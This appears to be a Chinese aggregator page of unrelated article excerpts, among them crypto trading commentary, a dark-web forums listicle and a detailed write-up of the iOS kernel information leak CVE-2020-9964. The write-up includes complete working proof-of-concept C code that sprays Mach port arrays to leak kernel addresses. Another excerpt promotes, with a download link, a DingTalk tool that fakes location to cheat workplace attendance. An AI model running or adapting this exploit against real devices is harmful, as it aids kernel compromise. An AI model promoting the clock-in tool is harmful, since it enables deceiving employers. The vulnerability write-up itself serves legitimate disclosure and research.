-
TXT+PHP的数据查询信息系统源码
一款TXT+PHP查询数据查询系统 为查立得的一款免费版本可以用来搭建考试成绩查分系统(查询):Linux(Utf-8) 特别注意: 请勿将本系统用于法规政策不允许的用途。 上传测试: 无需数据库支持,建议先直接上传到网站空间测试。 输入参考: 姓名: 张三 支持多张表的查询,支持打印预览,重要的是不需要数据库的支持,上传目录访问即可。 需要配置/inc/conn.php的文件信息。 链接:https://dufeng.lanzous.com/irBW3jq8pve...
-
未来两个月如果捡不到低价筹码,可能就没有机会了。
一,币圈行情这几天一直回调做多,币本位相对来说增加了不少,目前比特币又来到23800刀的高位,日线收阳,看起来有机会大突破了,但是考虑到下午交割时间就到了,有机会出现大的变动,多空比目前1.02。 其次是从4小时线来看有机会再出现一波下跌,所以目前我平掉了大部分多单,持有现货待涨,回调就继续撸币,给自己一个进退的空间,满仓做多最怕的就是下杀出现大幅度回撤影响心态,其实感觉这一次极有可能突破,但是考虑到低风险交易原则,只能暂时规避了。类似于币圈赵子龙肥宅这种狠人,如果不是跑得快,也爆仓多少次了。但是大多数人的心态都会因为巨额亏损的时候而不愿意止损,肥宅一千多万都能割的轻轻松松,这样的心境是不一样的。 现在持币待涨,切勿做空。前几次回调不做多,现在已经不是好的入场机会了,接下来的机会只有等放量大突破再说了。 币圈小机会很多,大机会不多,摈弃大量短线机会,拥抱大趋势,一年做几次交易就够了,今年10500刀到3800刀,3800刀到24000刀,两波机会把握住基本上后面几年囤币的钱就够了,反之日内几轮超短线,很有可能让自己迷惑其中,看不到即将发生的大行情和转变。 二,关于瑞波瑞波目前除USDT以外算是主流币里面排名第三的币种,成交量和深度是足够的,这样的一类老币在交易所里面属于大肉,传闻瑞波会被各个交易所下架,有点儿空谈了,今天又放量暴涨,就说明类似于媒体放出来的割韭菜消息。 万卉 Coinbase要下架XRP肯定是大概率事件,没人想搞砸自己的IPO… Coinbase的股东更不会允许这种临门一脚掉链子的事儿发生。毕竟IPO也归SEC管是不是,这不是无脑站队吗 ? Coinbase下架对于XRP的影响不会特别大,本身就是国外的一个交易所,然后瑞波这类的老牌主流币基本上都类似于柚子是国人自己在坐庄,只要国内几家主流币等交易所不下架,基本上问题就不会特别大。 本身就自带杠杆的主流币,再上杠杆本身就是自讨苦吃,一天波动30%个点,管你几倍杠杆都会被爆,做多做空需谨慎,放量反弹以后,日线连续几天站稳可以考虑接点现货,做确定性机会,不要妄图抓住币圈没一个波动和每一个机会。 瑞波爆仓自讨苦吃,赌徒。 三,未来现货有机会接低价筹码吗? 币圈就是什么事都有可能发生,所以才充满了投机性和神秘性,市值第三的币种都有可能一天腰斩50%。比特币突然跌破2万刀也不是没有可能。 1万多刀的时候也没人想过回到千刀级别阿,未来两个月如果没有机会接低价筹码,或许就没有机会了,接下来就是长牛的开启。 年底各个机构要做结算,为明年的发展做铺垫,所以年底业绩都不会做的太好,比特币有可能突破一轮新高上冲以后开启一波比较大的持续性回调,杀一杀多头杠杆,当然只是猜测。 到了这个节骨眼上,没必要再上杠杆抓高收益了,突破也就2,3千刀空间。毛毛近段时间波段流已经囤好了一部分币,不想再为了后面的行情丢掉了往日辛苦积累的筹码。 活下来,比赚钱更重要! 四,文末提示 但是未来,如果比特币实现全球流通,市值本身的放大,价格就会变得更加稳定,就不会被这么轻易操纵,既有机会充当价值存储的角色。那么就有机会跟黄金对标,因为跟黄金相比,比特币的优势更加明显。 当前比特币的价格增长主要还是依靠共识增长。 比特币有这个机会吗?答案是有的。币圈这个地方很小,但是比特币这个生态其实是很大的。BTC 聪明的地方我认为是,如果经济不好,资金会有机会流入到BTC 中避险,要的人多价格就会涨。 按目前的体量,很少很少的资金已经可以实现这个涨幅。例如经济衰退时,美国债券哪怕利率再低,都有人买,黄金市场会获得追捧,日元会受压,因为投资者没有套利空间。 不再借日元去投资美元资产套利如果经济好,继续靠印钞去维持这个“繁荣”,同样依靠商品的属性获利。那时候,BTC 的发展空间小,是因为世界不再有任何争端,资源已经足够满足大家的需要。...
-
钉钉打卡最新版,无需root,亲测后台无异常!
大家好,这次为大家带来一款钉钉远程打卡软件,亲测好用,且后台无异常!网上虽然有很多说是远程打卡软件,但不是定位出问题就是后台检测出异常,总之是各种问题。而这款却能够轻松搞定,而且可以长期使用,理论支持最新版钉钉! 软件版本: 钉钉助手版本 1.4.1 钉钉版本 5.1.19、5.1.40 等 多个版本都可以 首先要说一下需要注意的地方: 1、这个版本的打卡工具不支持部分 安卓11系统; 2、此版本也不支持蓝牙打卡; 3、不需要root权限就可以使用! 4、能够实现远程打卡,支持wifi打卡,位置打卡 都没问题。 5、有用户出现 设置里边的钉钉助手消失,仅需 太极 右键点钉钉 取消优化 关了钉钉 重开 就好了; 6、如果钉钉的设置里边 如果提示不适配 点击上边的 进行分析就能适配上了。 说是软件,其实要安装三款app,一个官方版钉钉,一个钉钉助手,还有一个是太极!没错就是太极,基于太极运行的钉钉知道的人都知道它有多稳!不会让你打个卡还担心出问题,各种担惊受怕~其实,屋主以前也推荐过基于太极的钉钉打卡工具,使用过的人都知道多牛皮,简直和官方正规打卡一个样。只不过后来钉钉更新太多,加上手机的系统版本越来越高,部分手机系统太高的用户就用不了了。而这款钉钉远程打卡,你可以看做是最新版,所以拿着就奔放去打卡吧! 至于如何实现远程打卡,怎么设置等问题,屋主就不用文字描述了。一方面,文字描述比较繁琐,而且可能很难懂,即便是很简单的操作,也可能因为描述不当,导致大家无法理解。那么,索性提供了视频教程,大家按照视频的教程进行简单的操作就可以了,从安装到打卡一系列教程,都呈列其中,仅需照着操作一次就完全懂了。(需要安装的app和视频教程全部在文章底部的下载链接内) 那么,远程打卡安装好了,大家放心睡觉吧~手机闹钟响了,不要理会,直接扔出窗外,我在窗外等着…… 钉钉远程打卡 wifi打卡 位置打卡 下载地址: 链接:https://pan.baidu.com/s/1Wnp53j0SpZGyU57KJoTf4g 提取码:247x ...
-
隐藏在暗网深处的最令人不安的论坛
你可能已经知道互联网上有也写一些邪恶的社区(比如“您好,4chan”)。然而,一些更加邪恶和基于利基市场的社区存在于黑暗网中,不幸的是,比特币,色情和许多性别歧视在这里占据了上风,今天就给大家介绍几个暗网社区 4chan的“ / b /”论坛 论坛4chan是连接到2014名人裸照链接的网站,该论坛拥有一个仅称为/ b /的子论坛。该站点上的两个板之一,另一个称为/ a /,专门用于动漫讨论,“ / b /”论坛专用于“随机”内容,发布者通常将随机定义为“可怕”。尽管论坛禁止了儿童色情制品,但大多数其他活动仍然可以自由进行,包括暴力色情制品,鼓励种族主义和厌女症的帖子以及死者的照片。甚至有人指控/ b /组织 对批评留言板内容的人进行现实生活的骚扰。对于/ b /论坛尤其令人不安的是,它允许完全匿名,这一功能无意间引起了黑客主义者氏族Anonymous的注意。要加入4chan,用户不需要提供电子邮件地址。在/ b /论坛上,对话不会被存档,而是 随着新内容的到达而被删除。这有助于隐藏任何骚扰和非法活动的证据。尽管在线匿名性具有其自身的优点,但/ b /使得这种论证更加难以追溯。 滥交论坛 滥交是一种令人不安的行为,在这种情况下,男人在性交时偷偷取出避孕套。如果您想对人性失去信心,请在一个隐身论坛上花几分钟。在这些在线社区中,男性张贴者强烈宣称他们享有不受保护的性行为的权利。一些海报甚至声称,如果妇女因偷情而怀孕,那是她们自己的错,应该得到。 暗杀市场 在暗网中,一些最常搜索的话题与雇用杀手或刺客来消灭个人敌人甚至公众人物有关。最令人震惊的例子之一是暗杀市场,有人将其描述为谋杀的Kickstarter。用户将其目标名称添加到市场花名册中。然后其他用户通过比特币向谋杀基金捐款。做出关于受害者何时死亡的预测,做出最接近的预测的幸运者会带回大量的比特币作为奖励。该网站的创建者认为这种做法没有多大错。在该网站的常见问题解答上的一条声明中,他写道:“在大多数情况下,杀人是错误的,是的。但是,由于这是技术发展的必然方向,因此我宁愿将它视为自己手中,也不愿将其视为他人。通过廉价,准确地提供它,我希望更多不道德的选择不会带来足够的利润或信任。这首先应该是一种报应的工具。”由于创始人显然具有某种良心,因此用户无法为提供堕胎服务的医生或为制作可怕音乐的音乐家而声名狼藉。用他的话说,热门歌曲必须带有“充分的理由”。 食人者论坛 是的,没错–论坛是复数形式。从戈尔(Al Gore)发明互联网的那一刻起,网络就举办了多个论坛,专为食人者寻找其他食人者而设计。在最臭名昭著的是食人咖啡厅。在这里,用户寻求人们见面,以达成自愿的食人行为。通常,一个人同意让另一位愿意的参与者吃掉自己的身体。因为社区无处不在,所以成员还要求提供有关烹饪和准备人肉的建议。在一个令人不寒而栗的案例中,食人餐厅上的一张海报杀死并吃了另一个男人,现在这个网站已经被政府关闭了,万网上有一个存档版本 如果您在网上潜伏了足够长的时间,今天仍然有一些食人者论坛,有趣的是,他们不容忍冒犯性的话。 可爱的死家伙 这个论坛专门分享可爱的年轻人的照片和视频,这些年轻人恰好已经死了,Cute Dead Guys在您单击之前听起来足够纯真。有人假设留言板共享由已故演员,模特和音乐家组成的媒体,这些人被认为活着时很有吸引力。如果花花公子在死后几个月能发行安娜·妮可·史密斯的致敬版,这真的很奇怪吗?但是,如果您仔细观察,您会发现内容中心围绕着有魅力的男人的实际尸体的照片和视频。子论坛包括“死亡图像”和“犯罪与死亡视频”,用户可以在其中共享尸体照片;“犯罪与死亡视频”用于上传令人讨厌的帅哥垂死视频。实际上,最不令人毛骨悚然的子论坛只共享电影和电视节目中死去的热门演员的片段。那里的内容告诉您很多有关本网站的性质。 哈克租车 如果您想对自己的在线安全感到偏执,请加入有关黑客的暗网论坛。您是否知道在网上租用黑客所需的精力很少? 购买者可以在Rent-A-Hacker上请求不同级别的黑客服务。也许您需要黑客入侵某人的Facebook才能删除一些令人尴尬的照片。也许您需要有人被错误逮捕。无论哪种方式,Rent-A-Hacker都能满足您的要求。 自杀网站 不幸的是,随着Internet的不断发展,数据显示,自杀倾向论坛的最新历史不断增加。某些社区并没有阻止自杀,而是将自杀视为可以接受的个人选择,并且经常交流有关成功生活的技巧和窍门。与该列表中的许多站点不同,您也无需进入暗网即可访问此类站点。从Reddit论坛 到可通过基本Google搜索访问的在线社区,自杀亲密社区甚至在随意的Internet浏览中也变得越来越普遍。 亲安娜社区 “ pro-ana”是“ pro-anarexia”的缩写。尽管可能难以理解,但仍有相当一部分在线社区 将厌食症和一般饮食失调视为生活方式的选择,而不是心理健康问题。赞成假名的网站将厌食症视为那些偏爱较瘦的审美观念的人的有效选择。在此类论坛中,识别为“假名”或“偏见”(贪食症爱好者)的用户交换有关严格限制饮食,禁食的建议和技巧和其他饮食失调的习惯。显然,社区效率很高,张贴者遵循有关饮食和运动的“规则”。社区成员互相支持,以达到各种危险的低目标权重。甚至更伤心的是,许多张贴者伸出援手让“ ana penpals ”挨饿,这表明其中许多成员可能很孤独,这个社区为他们提供了人际交往的唯一来源。 / r / HotAbortionStories 除非您对干扰内容的容忍度很高,否则建议您不要花任何时间在HotAbortionStories subreddit上。虽然不清楚该论坛是真实的还是某种奇怪的插科打,但subreddit本质上为因堕胎而打开的人提供了在线飞地。因为显然那是一回事吗?海报链接到用户在其他子目录上分享的堕胎故事,他们声称这些故事引起了人们的注意。他们还分享了如何以及为什么放弃堕胎的想法。再次点击,后果自负,因为这确实令人不快。 死胎宝贝系列 该论坛只有通过暗网才能访问,不 辜负其令人心碎和令人恐惧的名字:母亲在这里分享死产婴儿的照片。这样做的目的尚不清楚,但考虑到 维多利亚时代的死亡照片 曾经是一回事,共享照片的做法对于悲伤的母亲可能是合法的宣泄。 交流群 QQ群号:979727860 点击链接加入群聊:https://jq.qq.com/?_wv=1027&k=FDmmUxxL ...
-
男人对女人动情后,三个表现比较明显,十有九准
在大多数人的印象里,男人对一个人动情之后,就会直接表达自己的爱意,可现实却并非如此。 在现实生活中,并不乏一些腼腆的男人,有些即便是大大咧咧的性格,但在表达爱情这件事上,也会瞻前顾后,很少会选择直接把爱说出口。 这时候女人可能就会说,两个人都不主动表达,还怎么正式确定恋爱关系呢?其实,男人虽然不会主动把爱说出来,但却会把爱意夹杂在相处的细节中,对于心思细腻的女人来讲,很容易就能够发现。 通常情况下,男人对女人动情后,三个表现比较明显,十有九准。 主动打扰你 对于一个自己并不喜欢的人,主动是一件很奢侈的事情,除了是对别人的一种尊重之外,就是不想浪费自己的时间,毕竟对你没有任何的好感和情愫,主动打扰显然是多余的。 可是当男人对你动情之后,却会频繁主动的打扰你,说白了就是一种感情的表达方式,因为对你产生了好感,所以就想和你拥有一些联系和接触,而主动打扰你是男人能想到的最好方法。 即便男人遭受了你的拒绝,亦或者不搭理,他都会继续主动地打扰你,甚至还会更频繁,就是为了能够保持彼此之间的联系,想让你更清楚他的心意,而且每次打扰你的时候,都会有一种莫名的期待,希望得到你的回复,尤其是在感情方面。 主动靠近你 众所周知,喜欢一个人的时候就会特别想靠近对方,尤其是作为男人,虽然羞于表达内心的爱意,但却会在动作上有所主动,而靠近便是对爱情最好的诠释。 倘若对你根本就没有任何的情愫,男人自然会选择保持一定的距离,毕竟当下的生活仍旧提倡男女有别,有修养的男人不会主动靠近一个自己不喜欢的女人,一方面是不想让别人误会,另一方面则是自身修养的体现。 男人对你主动的靠近,绝对不是一种玩弄的心理,而是抱着一份真挚的情感,对你动了真情之后的自然流露,千万别误以为对方是“好色”,倘若只是玩玩而已,只会用嘴去表达,而不是靠近。 主动表达爱意 很多时候,当男人的爱积累到一定程度之后,也会主动表达爱意,或许并不是用嘴巴说出来,也可能是牵手、拥抱、接吻等肢体动作,这份爱甚至已经超越了深爱的层次。 男人若是并没有对你动情,根本就不会花费时间浪费在你身上,顶多就是朋友之间的寒暄,想牵手、拥抱等工作,根本就不可能发生,甚至都不会留意你的出现,又何来深爱呢? 一个男人能够主动表达爱意,可想而知是出于内心真挚的爱,想把你留在自己的身边,甚至已经爱到了难以自拔,自然就会更直接的去表达。 写在嘴后 总而言之,一个男人对你动情之后,虽然嘴上不会说爱你,但是心里却早已经按捺不住自己了,会想办法通过一些行动去表达出来,女人只要用心感受,就能够感受到男人的真心。 爱情,最容易让人身不由己,而且自己根本就无法控制。对一个人动情之后的举动,都是源于爱,而非刻意的去表现。或许他们并不善于去说,但行为上却会表达的很明显,女人发现之后一定要好好珍惜。 ...
-
CVE-2020-9964-iOS信息泄漏
iOS 14现已向公众开放,并附带了iOS 14.0安全内容更新。您将看到的其中一个漏洞是CVE-2020-9964,这是IOSurfaceAccelerator中的一个漏洞,也是我的第一个信息泄漏:) 我(@ Muirey03)和MohamedGhannam(@ _simo36)都被发现了此漏洞。如果我发现有更多知道这一点的人,我将不会感到惊讶。 Apple将此错误的影响描述为“本地用户可能能够读取内核内存”,并在描述中将其称为“内存初始化问题”,那么该错误是什么? IOSurfaceAcceleratorClient :: user_get_histogram IOSurfaceAcceleratorClient是AppleM2ScalerCSCDriver IOService的用户客户端,并且是可以从“应用程序沙箱”中打开的少数几个用户客户端之一。我们对该用户客户端上的一种特定外部方法 (方法9,IOSurfaceAcceleratorClient :: user_get_histogram)感兴趣。IOSurfaceAcceleratorClient使用旧版 IOUserClient :: getTargetAndMethodForIndex 作为其外部方法,这就是方法9的IOExternalMethod描述符的样子: { IOSurfaceAcceleratorClient::user_get_histogram, kIOUCStructIStructO, 0x8, 0x0} 从中我们可以看到user_get_histogram仅占用8个字节的输入数据,并且不返回任何内容作为输出数据,因此让我们看一下实现。这是我注释的伪代码: IOReturn IOSurfaceAcceleratorClient::user_get_histogram(IOSurfaceAcceleratorClient *this, void *input, uint64_t inputSize){ IOReturn result; if (this->calledFromKernel) { ... } else { IOMemoryDescriptor *memDesc = IOMemoryDescriptor::withAddressRange(*(mach_vm_address_t *)input, this->histogramSize, kIODirectionOutIn, this->task); if ( memDesc ) { ret = memDesc->prepare(kIODirectionNone); if (ret) { ... } else { ret = AppleM2ScalerCSCDriver::get_histogram(this->fOwner, this, memDesc); memDesc->complete(kIODirectionNone); } memDesc->release(); } else { ret = kIOReturnNoMemory; } } return ret;} 从中我们可以看到,结构输入的8个字节旨在用作用户空间指针, AppleM2ScalerCSCDriver :: get_histogram` 可对其进行读写。实际上,get_histogram调用到get_histogram_gated,如下所示: IOReturn AppleM2ScalerCSCDriver::get_histogram_gated(AppleM2ScalerCSCDriver *this, IOSurfaceAcceleratorClient *client, IOMemoryDescriptor *memDesc){ IOReturn result; if ( memDesc->writeBytes(0, client->histogramBuffer, client->histogramSize) == client->histogramSize ) result = kIOReturnSuccess; else result = kIOReturnIOError; return result;} 我们看到client-> histogramBuffer被写回到用户空间,所以现在的问题是,client-> histogramBuffer是什么?它在哪里初始化,在哪里填充? IOSurfaceAcceleratorClient::histogramBuffer 这个问题的答案最终是 IOSurfaceAcceleratorClient :: initClient, 它看起来像这样: bool IOSurfaceAcceleratorClient::initClient(IOSurfaceAcceleratorClient *this, AppleM2ScalerCSCDriver *owner, int type, AppleM2ScalerCSCHal *hal){ ... if ( ... ) { ... if ( ... ) { size_t bufferSize = ...; this->histogramSize = bufferSize; this->histogramBuffer = (void *)IOMalloc(bufferSize); IOAsynchronousScheduler *scheduler = IOAsynchronousScheduler::ioAsynchronousScheduler(0); this->scheduler = scheduler; if ( scheduler ) return true; ... } else { ... } } else { ... } this->stopClient(); return false;} 这是可疑的。histogramBuffer已分配但未填充,并且IOMalloc不会将内存归零,从而使histogramBuffer完全未初始化。正是在这一点上,我尝试为我自己调用该方法,但没有人感到惊讶,发现自己在看很多0xdeadbeef,这是未初始化内存的典型标志。 “开发” 我们正在将未初始化的内存泄漏回用户空间,但是我们该怎么办?像这样的信息泄漏自身相对而言是无害的,但是在利用其他内存损坏问题时有时是必不可少的。进行漏洞利用的一个常见要求是找到马赫端口地址,因此这是我进行漏洞利用的目标,但值得一提的是,该漏洞也可以用来击败kASLR。 我为此漏洞利用选择的目标分配是mach消息脱机端口阵列。发送马赫消息时,可以选择将消息标记为“复杂”。这告诉内核,标头后面的不是原始数据,而是一个“主体”,后跟与消息一起发送的描述符。这些描述符之一是mach_msg_ool_ports_descriptor_t,这是 一组插入到接收任务中的离线端口权限。 内核通过创建一个缓冲区来处理这些OOL端口,该缓冲区包含一个在消息发送时指向数组中每个端口的指针,并在收到消息后释放该缓冲区(有关此代码,请参见ipc_kmsg_copyin_ool_ports_descriptor,如果您感兴趣,则为“非常复杂,太长了,无法在此处粘贴)。这对我们来说是完美的!我们可以使用它来触发任何大小的内核分配,其中包含我们要读取的确切数据(马赫端口指针),并且我们可以在任何时候完全确定地释放它。 高级漏洞利用流程 因此,我的漏洞利用计划如下所示: 发送一些消息,其OOL端口数组的大小与client-> histogramSize相同 通过接收消息释放这些阵列 打开一个IOSurfaceAcceleratorClient连接,分配histogramBuffer,它现在应该与这些空闲端口数组之一重叠 调用外部方法9,将端口指针读回到用户空间 利润 在我的设备上,client-> histogramSize为0x300,这意味着我的端口阵列的长度必须为96个端口。我选择发送0x80消息,但这是我凭空提出的一个完全任意的数字,不要过多看它。 漏洞利用 最终的利用如下: #include <stdlib.h>#include <assert.h>#include <stdio.h>#include <mach/mach.h>#include <IOKit/IOKitLib.h>#if 0AppleM2ScalerCSCDriver Infoleak:IOSurfaceAcceleratorClient::user_get_histogram takes a userspace pointer and writes histogram data back to that address.IOSurfaceAcceleratorClient::initClient allocates this histogram buffer, but does not zero the memory.When the external method IOSurfaceAcceleratorClient::user_get_histogram is called, this uninitialised memory is then sent back to userspace.This vulnerability is reachable from within the app sandbox on iOS.Below is a proof-of-concept exploit which utilises this vulnerability to leak the address of any mach port that the calling process holds a send-right to.Other kernel object addresses can be obtained using this vulnerability in similar ways.#endif #define ASSERT_KR(kr) do { \ if (kr != KERN_SUCCESS) { \ fprintf(stderr, "kr: %s (0x%x)\n", mach_error_string(kr), kr); \ exit(EXIT_FAILURE); \ } \} while(0) #define LEAK_SIZE 0x300#define SPRAY_COUNT 0x80 mach_port_t create_port(void){ mach_port_t p = MACH_PORT_NULL; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p); mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND); return p;} io_connect_t open_client(const char* serviceName, uint32_t type){ io_connect_t client = MACH_PORT_NULL; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(serviceName)); assert(service != MACH_PORT_NULL); IOServiceOpen(service, mach_task_self(), type, &client); assert(client != MACH_PORT_NULL); IOObjectRelease(service); return client;} void push_to_freelist(mach_port_t port){ uint32_t portCount = LEAK_SIZE / sizeof(void*); struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports; } msg = {{0}}; mach_port_t* ports = (mach_port_t*)malloc(portCount * sizeof(mach_port_t)); for (uint32_t i = 0; i < portCount; i++) ports[i] = port; size_t msgSize = sizeof(msg); msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); msg.header.msgh_size = msgSize; msg.header.msgh_id = 'OOLP'; msg.body.msgh_descriptor_count = 1; msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; msg.ool_ports.address = (void*)ports; msg.ool_ports.count = portCount; msg.ool_ports.deallocate = false; msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY; msg.ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND; mach_port_t rcvPorts[SPRAY_COUNT]; for (uint32_t i = 0; i < SPRAY_COUNT; i++) { mach_port_t rcvPort = create_port(); rcvPorts[i] = rcvPort; msg.header.msgh_remote_port = rcvPort; //trigger kernel allocation of port array: kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)msgSize, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); ASSERT_KR(kr); } for (uint32_t i = 1; i < SPRAY_COUNT; i++) mach_port_destroy(mach_task_self(), rcvPorts[i]); free((void*)ports);}//The actual vulnerability:void leak_bytes(void* buffer){ io_connect_t client = open_client("AppleM2ScalerCSCDriver", 0); kern_return_t kr = IOConnectCallStructMethod(client, 9, (uint64_t*)&buffer, 8, NULL, NULL); ASSERT_KR(kr); IOServiceClose(client);}uint64_t find_port_addr(mach_port_t port){ uint64_t* leak = (uint64_t*)malloc(LEAK_SIZE); printf("Preparing heap\n"); push_to_freelist(port); printf("Leaking 0x%zx bytes\n", (size_t)LEAK_SIZE); leak_bytes(leak); uint64_t addr = leak[1]; free(leak); return addr;}int main(int argc, char* argv[], char* envp[]){ mach_port_t port = create_port(); uint64_t port_addr = find_port_addr(port); printf("Leaked port address: %p\n", (void*)port_addr); return 0;} 我发现此漏洞利用程序的成功率接近100%,几乎无法检测到任何故障,从而使漏洞利用程序可以继续运行直到成功为止。 注: 我被告知,此漏洞的可利用性受到iOS 14堆分离的影响。我对iOS 14中所做的更改了解不足以确认这一点,但是在查看将来未初始化的内存泄漏时,绝对需要考虑这一点。 ...
-
Python 中为什么不建议使用 time.sleep 实现定时功能?
有时候,我们想实现一个非常简单的定时功能,例如:让一个程序每天早上 8 点调用某个函数 但我们又不想安装任何第三方库,也不会使用 crontab 或者任务计划功能,就想使用纯 Python 来实现 可能有同学会这样写代码: import time import datetime def run(): print('我是需要被每天调用的函数') def schedule(): target_time = datetime.time(8, 0, 0) today = datetime.date.today() target_date = today + datetime.timedelta(days=1) target_datetime = datetime.datetime.combine(target_date, target_time) now = datetime.datetime.now() delta = (target_datetime - now).total_seconds() time.sleep(delta) run() while True: time.sleep(24 * 3600) run() if __name__ == '__main__': schedule() 这段程序,首先计算出现在距离明天早上 8 点相差的秒数;睡眠这么多秒以后,第一次运行目标函数,然后进入一个死循环,每隔 86400 秒,程序调用一次 run 函数 这个程序初看起来,似乎没有什么问题 但如果你每天观察它的运行时间,你会发现随着时间的推移,时间会越来越不准确 这是因为,run 函数不是一瞬间就运行完成的。它运行也会消耗时间 假设程序第一次运行 run 函数的时候,确实刚刚好是 8:00,run 函数运行了 2秒;那么,程序睡眠 86400 秒以后,时间实际上是 8:00:02.从第二天开始,每天晚 2 秒钟。一个月就会晚一分钟 但实际上,我们如果付出一点点微不足道的代价,我们就可以防止这种误差的发生,并且程序代码会变得更简单: import time import datetime def run(): print('我是需要被每天调用的函数') def schedule(): last_run = None while True: now = datetime.datetime.now() if now.strftime('%H:%M') == '08:00' and last_run != now.date(): run() last_run = now.date() time.sleep(1) if __name__ == '__main__': schedule() 程序在一个死循环中,每秒做一次检查,如果当前的时分正好是 08:00,并且上一次运行不是今天,那么就调用 run 函数,并把上一次运行的时间设置为今天。否则,就睡眠 1 秒钟 这样做,相当于每秒都会校对时间,从而避免了长时间运行导致的时间误差。虽然看起来这个死循环会非常消耗 CPU,但只要你算一下,实际上它只不过每天循环 86400 次而已。这个次数并不多 但无论如何,专业的事情应该交由专业的工具来做;time.sleep 用来设置周期性的时间间隔可以,但它实际上不适合用来做定时任务 因为一个支持定时任务的库,例如:Python 的schedule或者APScheduler,他们在确保定时时间准确上,做了很多工作。还有一些库甚至用到了时间轮这样的数据结构来确保时间的准确性。这不是我们简单用两三行 Python 代码就能完成的。 总结 如果能用 crontab 或者任务计划,那么这是最优选择;其次,使用 Python 专用的定时模块;最次,才是使用 time.sleep 来实现 如果不得不用 time.sleep,那么应该尽量缩短检查的间隔,避免长时间睡眠 ...
-
最后几天!即将全国禁用
距离塑料吸管“禁令”红线只剩十几天 你做好准备了吗? 根据国家发改委和生态环境部于今年初联合印发的《关于进一步加强塑料污染治理的意见》,到2020年底,全国范围餐饮行业禁止使用不可降解一次性塑料吸管。这一规定被业内称为“禁管令”。 7月,国家发展改革委等九部门印发《关于扎实推进塑料污染治理工作的通知》。再次提出,2020年底,全国范围餐饮行业禁止使用不可降解一次性塑料吸管。《通知》明确了禁止范围不包括牛奶、饮料等食品外包装上自带的塑料吸管。 全国部分餐饮店已更换 以纸吸管居多 记者在杭州东站餐饮区域随机走访了数家餐饮门店,发现不少店铺已见不到塑料吸管的身影,但也有很多店铺依然提供塑料吸管。 “我们店在4个多月前就不再提供塑料吸管,换成了自带饮嘴的杯盖。”候车室内一家连锁快餐店店员吴浩说,“也还有消费者索要吸管,我们就做好解释工作。” 记者在车站内数家餐饮店走访,注意到大部分消费者使用直饮杯盖或直接用杯子饮用,吸管相较以往已明显减少。 奶茶受到不少消费者青睐,奶茶店是吸管消耗大户。记者近日在北京一家连锁奶茶门店的自助吸管区看到,这里提供塑料和纸两种材质吸管供选择,边上有提示,建议大家减少塑料吸管的使用。 记者调查发现,一些连锁的大型餐饮企业已经开始行动起来,目前的替代产品以纸吸管居多,但多数餐饮店还在继续使用塑料吸管。 “纸吸管一咬就变形,放在热饮里一会儿就泡软了,喝起来有一股纸味儿,感觉特别别扭。”爱喝奶茶的小王告诉记者。 北京的杨阳曾用纸吸管喝带冰沙的饮料,结果搅拌时吸管差点散掉,“不得不一口气全喝完,店员提醒说时间长了吸管就软掉了”。 记者采访的不少消费者表示,不太清楚禁止使用塑料吸管的规定,但如果有好用的替代品,也可以接受。“支持禁用塑料吸管,但要有好的替代产品,纸吸管的使用体验太差了。”一些消费者表示。 替代产品价格是塑料吸管的3至5倍 据了解,目前,不可降解一次性塑料吸管主要替代产品包括聚乳酸(PLA)、纸等材质制成的可降解吸管,竹木、不锈钢等材质制成的可循环使用吸管。PLA使用可再生植物资源提取出的原料加工而成,是一种新型的生物降解材料。 通过对上下游生产企业和餐饮企业的走访,记者发现,尽管可降解或可循环使用的吸管成为下阶段行业市场的趋势,但相较传统一次性塑料吸管的低价优势,替代产品进入主流市场仍面临难题。 其中最主要的原因是替代产品性价比仍较低。据了解,1根塑料吸管约0.01元,1根纸吸管约0.03元,1根PLA吸管约0.05元。 吸管生产商浙江义乌市双童日用品有限公司董事长楼仲平说,“公司早在2005年前后就开始启动聚乳酸可降解吸管的研发,经历了寻找原料、改进性能等重重困难,最终面世的产品最初几年一直在市场遇冷。” “以快餐行业为例,吸管、餐具等用量巨大,全面替换餐具和吸管将大幅增加成本。”海南银达国际餐饮管理有限公司总经理陈龙华表示。 据记者调查,可降解产品成本居高不下的一个重要原因在于产业链配套尚不完善。浙江省发展改革委一级巡视员徐幸表示,由于替代产品目前尚处于产业发展前期阶段,产业规模还不是很大,现在在研发、设备等环节成本较高。 楼仲平认为,虽然政策调整对生产企业是一次新的发展机遇,但转型过程中,产业链发育尚不完善是企业普遍面临的尴尬处境。 能否顺利跟数百亿根塑料吸管“说再见”? 国家统计局数据显示,2019年全国塑料制品累计产量8184万吨,其中塑料吸管近3万吨,约合460亿根。 面对政策变局,有些厂家已做好布局。如双童6个吸管生产车间仅保留一个生产塑料吸管,大量设备被淘汰,生产线已经进行了更新,如今可降解吸管已占到双童吸管业务的70%左右。 对于生产厂家来说,国内市场还处于一个试探的过程。但一组数据显示,态势正向积极的方向转变。自9月以来,双童吸管已接到价值1000多万元的可降解吸管订单。楼仲平预计,今年可降解、可循环产品在公司年销售额占比将再提高十个百分点。 对于消费者最为在意的体验感,一些业内人士表示,随着工艺的逐步提高,纸吸管在75至80摄氏度也不会软化,但由于纸吸管没有回弹性,对于喜欢咬吸管的消费者来说,使用体验确实会打折扣。而使用感更接近于塑料吸管的PLA可降解吸管推广的主要障碍还是在于高昂的成本。 “随着塑料污染治理工作的逐步推进,尤其全社会对这个工作的重视,相信人们将对环境友好型材料达成共识,市场需求量和生产规模会越来越大,替代产品的生产成本也会逐步降低。”徐幸说。...
-
浅谈VPN、SS和55R的区别
